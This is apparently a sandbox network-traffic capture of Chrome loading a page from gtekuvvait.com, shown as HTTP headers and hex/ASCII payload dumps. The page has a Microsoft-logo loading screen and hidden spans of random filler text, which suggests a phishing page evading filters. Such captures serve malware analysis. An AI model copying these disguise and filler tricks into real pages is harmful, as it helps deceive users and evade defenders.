6	192.168.2.16	49720	35.190.80.1	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:06 UTC	486	OUT	POST /report/v4?s=%2FETZ5WozyXKzD1888qh7H9v55g7nsX3HgdM9dErw4DZf9nMw5eunMbF2AxB9QNX5eUjT5u%2B%2BNUHKoHZFCXPlYe0U39%2FlkhUTkEYE0ZljL4%2B%2BZbyEK7gF9qKaTn2P6tazPA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 453 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:06 UTC	453	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 32 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 34 32 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 76 77 6b 75 67 6f 69 61 30 79 63 69 71 30 62 75 74 74 6f 6d 70 61 6e 6a 32 2e 6e 74 76 75 6c 74 72 61 2e 63 6f 6d 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 31 31 2e 31 32 36 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 35 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 Data Ascii: [{"age":2,"body":{"elapsed_time":1422,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://vwkugoia0yciq0buttompanj2.ntvultra.com/","sampling_fraction":1.0,"server_ip":"104.21.11.126","status_code":503,"type":"http.error"},"type"
2024-10-01 13:08:06 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Tue, 01 Oct 2024 13:08:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49722	104.21.11.126	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:06 UTC	1142	OUT	GET /zuprivater/Xdrrwwipj/ HTTP/1.1 Host: gtekuvvait.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://gtekuvvait.com/zuprivater/Xdrrwwipj/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ
2024-10-01 13:08:08 UTC	872	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; mode=block Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eGVu9GyUaKTc5J9ycEG0jMo11335H8kq4jEiIu4XjavdbPRkpni2hfpSbiqro9%2F8yEM3VE%2FLc62QHOYc9chRXdImMmPm1zBKs6gp1V%2F9EV9hkKAH%2BsQRER1wbamkay0hYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cbcadf6bd494332-EWR
2024-10-01 13:08:08 UTC	497	IN	Data Raw: 32 33 38 36 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 3e 20 23 63 6f 6e 74 61 69 6e 65 72 53 68 61 64 6f 77 2c 23 65 66 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 20 30 20 37 70 78 20 37 70 78 7d 23 63 61 6c 2c 23 63 61 6c 3e 2e 72 7b 64 69 73 70 6c 61 79 3a Data Ascii: 2386<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"/><meta name="viewport" content="width=device-width, initial-scale=1.0"><style> #containerShadow,#ef{border-radius:0 0 7px 7px}#cal,#cal>.r{display:
2024-10-01 13:08:08 UTC	1369	IN	Data Raw: 39 30 70 78 29 3b 77 69 64 74 68 3a 31 38 30 70 78 3b 68 65 69 67 68 74 3a 31 38 30 70 78 7d 23 4d 53 4c 6f 67 6f 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 62 6f 74 74 6f 6d 3a 33 36 70 78 3b 6c 65 66 74 3a 63 61 6c 63 28 35 30 76 77 20 2d 20 34 35 70 78 29 7d 2e 64 61 72 6b 20 23 6c 6f 61 64 69 6e 67 53 63 72 65 65 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 33 33 7d 2e 64 61 72 6b 4e 65 77 20 23 6c 6f 61 64 69 6e 67 53 63 72 65 65 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 31 66 31 66 31 66 7d 3a 72 6f 6f 74 7b 2d 2d 73 3a 31 38 30 70 78 3b 2d 2d 65 6e 76 57 3a 31 33 30 70 78 3b 2d 2d 65 6e 76 48 3a 37 31 70 78 3b 2d 2d 63 61 6c 57 3a 31 31 38 70 78 3b 2d 2d 73 71 57 3a 63 61 6c 63 28 76 61 72 28 2d 2d 63 61 6c Data Ascii: 90px);width:180px;height:180px}#MSLogo{position:fixed;bottom:36px;left:calc(50vw - 45px)}.dark #loadingScreen{background-color:#333}.darkNew #loadingScreen{background-color:#1f1f1f}:root{--s:180px;--envW:130px;--envH:71px;--calW:118px;--sqW:calc(var(--cal
2024-10-01 13:08:08 UTC	1369	IN	Data Raw: 6b 67 72 6f 75 6e 64 3a 23 31 32 33 62 36 64 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 37 30 70 78 7d 23 63 61 6c 2c 23 63 61 6c 3e 2e 72 2c 23 63 61 6c 3e 2e 74 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 63 61 6c 57 29 7d 23 63 61 6c 7b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 63 61 6c 48 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 37 70 78 3b 6d 61 72 67 69 6e 3a 2d 33 30 36 70 78 20 61 75 74 6f 20 30 3b 61 6e 69 6d 61 74 69 6f 6e 3a 63 61 6c 2d 62 6f 75 6e 63 65 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 30 2e 35 2c Data Ascii: kground:#123b6d;margin-top:-70px}#cal,#cal>.r,#cal>.t{width:var(--calW)}#cal{flex-direction:row;flex-wrap:wrap;height:var(--calH);border-radius:7px;margin:-306px auto 0;animation:cal-bounce var(--dur) infinite;animation-timing-function:cubic-bezier(0,0.5,
2024-10-01 13:08:08 UTC	1369	IN	Data Raw: 31 2c 30 2c 30 2c 2d 31 38 30 64 65 67 29 7d 7d 23 63 6c 6f 73 65 64 46 6c 61 70 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 61 6e 69 6d 61 74 69 6f 6e 3a 63 6c 6f 73 65 64 2d 66 6c 61 70 2d 73 77 69 6e 67 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 30 2c 30 2e 36 37 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 7d 40 6b 65 79 66 72 61 6d 65 73 20 63 6c 6f 73 65 64 2d 66 Data Ascii: 1,0,0,-180deg)}}#closedFlap{width:var(--envW);animation:closed-flap-swing var(--dur) infinite;animation-timing-function:cubic-bezier(0.32,0,0.67,0);transform-origin:top;transform:translateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg)}@keyframes closed-f
2024-10-01 13:08:08 UTC	1369	IN	Data Raw: 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 32 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 35 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 65 62 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 65 66 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 22 3e 3c Data Ascii: r"><div class="s s4"></div><div class="s s1"></div><div class="s s2"></div></div><div class="r"><div class="s s5"></div><div class="s s4"></div><div class="s s1"></div></div></div></div><div id="eb"></div><div id="ef"><div class="r"></div><div class="l"><
2024-10-01 13:08:08 UTC	1369	IN	Data Raw: 2e 38 36 36 2d 2e 32 30 31 20 32 2e 35 35 34 2d 2e 35 39 37 6c 2e 30 32 37 2d 2e 30 31 37 76 2d 31 2e 39 34 6c 2d 2e 30 38 39 2e 30 36 36 63 2d 2e 33 31 32 2e 32 32 37 2d 2e 36 36 2e 34 30 38 2d 31 2e 30 33 35 2e 35 33 38 61 33 2e 31 32 31 20 33 2e 31 32 31 20 30 20 30 31 2d 31 2e 30 31 34 2e 31 39 37 63 2d 2e 38 33 20 30 2d 31 2e 34 39 37 2d 2e 32 36 2d 31 2e 39 38 32 2d 2e 37 37 32 2d 2e 34 38 35 2d 2e 35 31 33 2d 2e 37 33 2d 31 2e 32 33 33 2d 2e 37 33 2d 32 2e 31 34 20 30 2d 2e 39 31 32 2e 32 35 35 2d 31 2e 36 35 31 2e 37 36 31 2d 32 2e 31 39 36 2e 35 30 34 2d 2e 35 34 34 20 31 2e 31 37 33 2d 2e 38 32 20 31 2e 39 38 36 2d 2e 38 32 2e 36 39 35 20 30 20 31 2e 33 37 34 2e 32 33 36 20 32 2e 30 31 34 2e 37 30 32 6c 2e 30 39 2e 30 36 33 56 38 2e 30 31 31 6c Data Ascii: .866-.201 2.554-.597l.027-.017v-1.94l-.089.066c-.312.227-.66.408-1.035.538a3.121 3.121 0 01-1.014.197c-.83 0-1.497-.26-1.982-.772-.485-.513-.73-1.233-.73-2.14 0-.912.255-1.651.761-2.196.504-.544 1.173-.82 1.986-.82.695 0 1.374.236 2.014.702l.09.063V8.011l
2024-10-01 13:08:08 UTC	1369	IN	Data Raw: 38 2e 32 30 39 20 31 2e 31 31 36 2e 31 34 2e 33 32 2e 33 35 35 2e 36 2e 36 34 31 2e 38 33 37 2e 32 38 33 2e 32 33 33 2e 37 32 32 2e 34 37 38 20 31 2e 33 30 32 2e 37 32 38 2e 34 38 38 2e 32 2e 38 35 32 2e 33 37 20 31 2e 30 38 33 2e 35 30 35 2e 32 32 37 2e 31 33 2e 33 38 37 2e 32 36 33 2e 34 37 37 2e 33 39 2e 30 38 38 2e 31 32 37 2e 31 33 33 2e 32 39 39 2e 31 33 33 2e 35 31 32 20 30 20 2e 36 30 34 2d 2e 34 35 32 2e 38 39 37 2d 31 2e 33 38 34 2e 38 39 37 61 33 2e 38 20 33 2e 38 20 30 20 30 31 2d 31 2e 31 37 32 2d 2e 32 31 33 20 34 2e 34 31 38 20 34 2e 34 31 38 20 30 20 30 31 2d 31 2e 32 2d 2e 36 30 39 6c 2d 2e 30 38 39 2d 2e 30 36 34 76 32 2e 30 36 34 6c 2e 30 33 33 2e 30 31 35 63 2e 33 30 34 2e 31 34 2e 36 38 36 2e 32 35 37 20 31 2e 31 33 37 2e 33 35 2e 34 Data Ascii: 8.209 1.116.14.32.355.6.641.837.283.233.722.478 1.302.728.488.2.852.37 1.083.505.227.13.387.263.477.39.088.127.133.299.133.512 0 .604-.452.897-1.384.897a3.8 3.8 0 01-1.172-.213 4.418 4.418 0 01-1.2-.609l-.089-.064v2.064l.033.015c.304.14.686.257 1.137.35.4
2024-10-01 13:08:08 UTC	391	IN	Data Raw: 38 2d 2e 31 37 2e 30 34 38 2d 2e 33 31 32 2e 30 37 32 2d 2e 34 32 32 2e 30 37 32 2d 2e 34 31 36 20 30 2d 2e 37 32 33 2d 2e 31 31 32 2d 2e 39 31 34 2d 2e 33 33 32 2d 2e 31 39 31 2d 2e 32 32 33 2d 2e 32 38 39 2d 2e 36 31 32 2d 2e 32 38 39 2d 31 2e 31 35 38 56 39 2e 34 38 68 32 2e 31 34 34 7a 22 20 66 69 6c 6c 3d 22 23 37 33 37 34 37 34 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 64 3d 22 4d 30 20 39 2e 39 35 38 68 39 2e 39 35 38 56 2e 30 30 31 48 30 7a 22 20 66 69 6c 6c 3d 22 23 46 30 35 31 32 34 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2e 39 39 35 20 39 2e 39 35 38 68 39 2e 39 35 37 56 2e 30 30 31 68 2d 39 2e 39 35 37 7a 22 20 66 69 6c 6c 3d 22 23 37 45 42 42 34 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 64 3d 22 4d 30 20 32 30 Data Ascii: 8-.17.048-.312.072-.422.072-.416 0-.723-.112-.914-.332-.191-.223-.289-.612-.289-1.158V9.48h2.144z" fill="#737474"></path><path d="M0 9.958h9.958V.001H0z" fill="#F05124"></path><path d="M10.995 9.958h9.957V.001h-9.957z" fill="#7EBB42"></path><path d="M0 20
2024-10-01 13:08:08 UTC	1369	IN	Data Raw: 32 66 37 63 0d 0a 43 72 61 66 74 20 66 61 69 72 20 69 6e 20 74 68 65 20 63 68 69 6c 64 72 65 6e 27 73 20 70 61 72 6b 20 69 73 20 68 61 70 70 65 6e 69 6e 67 20 6e 65 78 74 20 6d 6f 6e 74 68 20 2e 20 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 62 72 69 6e 67 73 20 6a 6f 79 20 74 6f 20 63 68 69 6c 64 72 65 6e 20 64 75 72 69 6e 67 20 74 68 65 20 49 6e 76 65 73 74 6f 72 20 6d 65 65 74 75 70 20 61 74 20 74 68 65 20 70 75 62 6c 69 63 20 6c 69 62 72 61 72 79 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 20 68 69 64 64 65 6e 3e 50 6f 65 74 72 79 20 72 65 61 64 69 6e 67 20 61 74 20 74 68 65 20 63 69 74 79 20 68 61 6c 6c 20 69 73 20 68 61 70 70 65 6e 69 6e 67 20 74 68 69 73 20 46 72 69 64 61 79 20 2e 20 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 73 65 74 73 20 61 20 6e 65 Data Ascii: 2f7cCraft fair in the children's park is happening next month . Additionally, brings joy to children during the Investor meetup at the public library.</span><span hidden>Poetry reading at the city hall is happening this Friday . Additionally, sets a ne
2024-10-01 13:08:08 UTC	1369	IN	Data Raw: 72 20 6c 65 61 64 65 72 73 20 6e 65 78 74 20 6d 6f 6e 74 68 20 61 6e 64 20 6c 6f 63 61 6c 20 62 61 6e 64 73 2e 20 4d 65 61 6e 77 68 69 6c 65 2c 20 43 75 6c 74 75 72 61 6c 20 66 65 73 74 69 76 61 6c 20 61 74 20 74 68 65 20 73 6b 69 20 72 65 73 6f 72 74 20 73 70 61 72 6b 73 20 6d 61 6a 6f 72 20 69 6e 74 65 72 65 73 74 20 6e 65 78 74 20 6d 6f 6e 74 68 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 20 68 69 64 64 65 6e 3e 43 75 6c 74 75 72 61 6c 20 66 65 73 74 69 76 61 6c 20 61 74 20 74 68 65 20 61 71 75 61 72 69 75 6d 20 65 6e 63 6f 75 72 61 67 65 73 20 65 63 6f 2d 66 72 69 65 6e 64 6c 79 20 70 72 61 63 74 69 63 65 73 20 74 68 69 73 20 46 72 69 64 61 79 20 77 68 69 63 68 20 66 6f 6f 64 20 74 72 75 63 6b 73 2e 20 4d 65 61 6e 77 68 69 6c 65 2c 20 53 63 68 6f 6f 6c Data Ascii: r leaders next month and local bands. Meanwhile, Cultural festival at the ski resort sparks major interest next month.</span><span hidden>Cultural festival at the aquarium encourages eco-friendly practices this Friday which food trucks. Meanwhile, School

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49721	104.21.11.126	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:06 UTC	864	OUT	GET /favicon.ico HTTP/1.1 Host: gtekuvvait.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://gtekuvvait.com/zuprivater/Xdrrwwipj/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y
2024-10-01 13:08:06 UTC	877	IN	HTTP/1.1 403 Forbidden Date: Tue, 01 Oct 2024 13:08:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=315360000, stale-while-revalidate=315360000, stale-if-error=315360000, immutable Pragma: public CF-Cache-Status: HIT Age: 1294147 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PYQz%2F3OC1rJ76YySDW8R%2FgBPuz%2B7rTVrmi7pc2%2B8yduF0BeDPc2JqCjAHxegYMjy1ah2ONaevRfFO77nyb07FQXOcQkcnrbDx52fWRgNgnoDNOsihLMXcEveaOgIylhH2g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cbcadf6bbf372b9-EWR
2024-10-01 13:08:06 UTC	492	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-10-01 13:08:06 UTC	63	IN	Data Raw: 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a Data Ascii: padding to disable MSIE and Chrome friendly error page -->
2024-10-01 13:08:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49724	104.21.11.126	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:07 UTC	784	OUT	GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1 Host: gtekuvvait.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y
2024-10-01 13:08:07 UTC	671	IN	HTTP/1.1 302 Found Date: Tue, 01 Oct 2024 13:08:07 GMT Content-Length: 0 Connection: close location: /cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js? cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=10800, public access-control-allow-origin: * Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H1gsmKpyT%2FDmRl2m%2FhTIuAGNhfQ1b6%2FEnHmIw0xLg85sB8RAPn7yJNFhgV2API5q7ObuPLSrNdSRfxdPTs0OcjooHbgaeICHhe81OZidWd6SLJ1J8Jhfkcn5qPLPU034Eg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cbcadfa09376a5b-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49728	104.17.24.14	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:09 UTC	554	OUT	GET /ajax/libs/jquery/3.6.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://gtekuvvait.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:09 UTC	929	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:09 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"63091225-797c" Last-Modified: Fri, 26 Aug 2022 18:34:13 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 21021 Expires: Sun, 21 Sep 2025 13:08:09 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jVC7jHTyVffZeioEKju%2BGUnwZG1DQp7aExO9NZFG0i72%2BJ0XG3CrLlByTsToUY11fKJ6FYCb8w%2BGAoiFcmQ5szG9E3Co5ZbhKCPJTrbnVWPOXU8ts3NIza1UA%2BhodOlk1jAzUP0P"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8cbcae04eac54386-EWR
